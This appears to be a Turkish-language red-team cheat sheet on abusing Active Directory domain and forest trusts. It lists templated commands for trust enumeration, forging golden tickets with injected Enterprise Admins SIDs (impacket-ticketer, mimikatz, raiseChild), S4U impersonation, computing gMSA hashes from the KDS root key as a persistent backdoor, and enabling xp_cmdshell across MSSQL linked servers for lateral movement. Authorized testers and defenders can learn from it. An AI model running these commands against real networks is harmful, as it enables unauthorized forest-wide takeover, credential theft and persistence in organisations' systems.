Domain & Forest Trust Abuse — SID History Injection, Child-to-Parent, Cross-Forest, Golden gMSA, Linked Server Chain
Domain/forest trust ilişkileri numaralandırılarak SID History injection'lı golden ticket ile child->parent Enterprise Admins yükselişi, cross-forest erişim, golden gMSA hesaplama ve MSSQL linked server zinciri ile lateral hareket gerçekleştirilir.
- Child domain'de Domain Admin (child->parent için)
- krbtgt hash'i + child DOMAIN_SID (golden ticket için)
- Parent/forest root domain SID (Enterprise Admins SID için)
- gMSA için ManagedPassword okuma hakkı veya KDS root key
- MSSQL linked server zinciri için bir DB erişimi
Komutlar
Get-DomainTrust -Domain {{DOMAIN}} Get-DomainTrustMapping nltest /domain_trusts /all_trusts nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -M enum_trusts impacket-ticketer -nthash {{NTHASH}} -domain-sid {{DOMAIN_SID}} -domain child.{{DOMAIN}} -extra-sid S-1-5-21-PARENTSID-519 Administrator kerberos::golden /user:Administrator /domain:child.{{DOMAIN}} /sid:{{DOMAIN_SID}} /krbtgt:{{NTHASH}} /sids:S-1-5-21-PARENTSID-519 /ptt impacket-raiseChild {{DOMAIN}}/{{USER}}:{{PASS}} impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator {{DOMAIN}}/{{USER}}:{{PASS}} nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --gmsa python3 gMSADumper.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}} GoldenGMSA.exe compute --sid {{DOMAIN_SID}} --kdskey <KDSRootKeyB64> impacket-mssqlclient {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} -windows-auth enum_links EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';') AT [LINKED\SERVER] Genel Bakış
Forest, güvenlik sınırıdır; domain DEĞİL. Aynı forest içindeki child domain’i ele geçirmek, trust ilişkileri sayesinde forest root’a (Enterprise Admins) yükselmeyi mümkün kılar. Cross-forest trust’larda ise SID filtering devreye girdiği için saldırı yüzeyi daralır ama yine de istismar yolları vardır.
1. Trust Numaralandırma (NEDEN önce bu)
Hangi trust’ın hangi yönde (inbound/outbound), transitive olup olmadığını ve forest sınırlarını bilmeden saldırı seçemezsin. Get-DomainTrust, Get-DomainTrustMapping, nltest /domain_trusts /all_trusts ile haritayı çıkar. Parent-child trust’lar her zaman bidirectional + transitive’dir; en kolay yol budur.
2. Child-to-Parent: SID History Injection
Forest içinde SID filtering parent-child trust’ta uygulanmaz. Mantık:
- Child domain’de Domain Admin ol, child
krbtgthash’ini DCSync ile çek. - Forest root domain’in Enterprise Admins SID’ini bul:
S-1-5-21-<ROOT>-519. - Child krbtgt ile golden ticket üret ve ExtraSID/SID History olarak 519’u enjekte et (
-extra-sidimpacket,/sidsmimikatz). - PAC içine Enterprise Admins SID’i girdiği için parent DC seni forest yöneticisi sayar.
impacket-raiseChildbu zinciri tek komutta otomatikleştirir.
3. Cross-Forest
Forest sınırını geçen trust’larda SID filtering 519/512 gibi yüksek RID’leri filtreler — saf ExtraSID çalışmaz. Bunun yerine: trust key ile inter-realm TGT forge etme, foreign principal ACL’leri (kullanıcı/grup başka forest’tan yetki almışsa), veya kerberoast/abusable ACL yolları kullanılır. impacket-getST -impersonate ile S4U üzerinden hedef servis biletleri talep edilebilir.
4. Golden gMSA
gMSA parolaları KDS root key + hesap SID’inden deterministik üretilir. KDS root key’i (domain controller’da saklanır) ele geçirirsen GoldenGMSA compute ile herhangi bir gMSA’nın NT hash’ini offline ve parola değişse bile hesaplarsın — kalıcı bir credential backdoor. Düşük yetkiyle sadece okuma hakkı varsa gMSADumper.py/nxc --gmsa yeterli.
5. MSSQL Linked Server Chain
SQL sunucuları arasındaki linked server’lar genelde yüksek yetkili (sa veya sysadmin) bağlamda çalışır ve trust gibi davranır:
- İlk sunucuya
impacket-mssqlclient -windows-authile bağlan. enum_linksile zinciri çıkar (A -> B -> C).EXECUTE ... AT [SERVER]ile uzaktaki SQL’de sorgu/xp_cmdshellçalıştır; çoğu zaman daha yetkili bağlamda kod çalışır, böylece başka host/domain’e sıçrarsın.
Gotchas
- SID filtering: Forest içi parent-child’da yok, forest-arası trust’ta var. 519 enjeksiyonu cross-forest’ta sessizce düşürülür.
- Enterprise Admins SID forest root’ta: 519 her zaman forest ROOT domain’in SID’idir, child’ın değil.
- Clock skew / SPN: golden ticket tarafındaki tüm Kerberos kuralları (saat, FQDN) burada da geçerli.
- Linked server double-hop:
xp_cmdshelletkin değilsesp_configureile açman gerekir; RPC OUT kapalıysa zincir kırılır. - gMSA okuma hakkı:
PrincipalsAllowedToRetrieveManagedPasswordlistesinde olmalısın; aksi halde sadece KDS root key yolu kalır.
Sonuç
Trust istismarı, tek bir domain’i ele geçirmeyi tüm forest/ortam hakimiyetine çevirir; SID History tek domain’den Enterprise Admins’e, Golden gMSA kalıcı servis hesabı erişimine, linked server zinciri ise ağ boyunca sessiz lateral harekete kapı açar.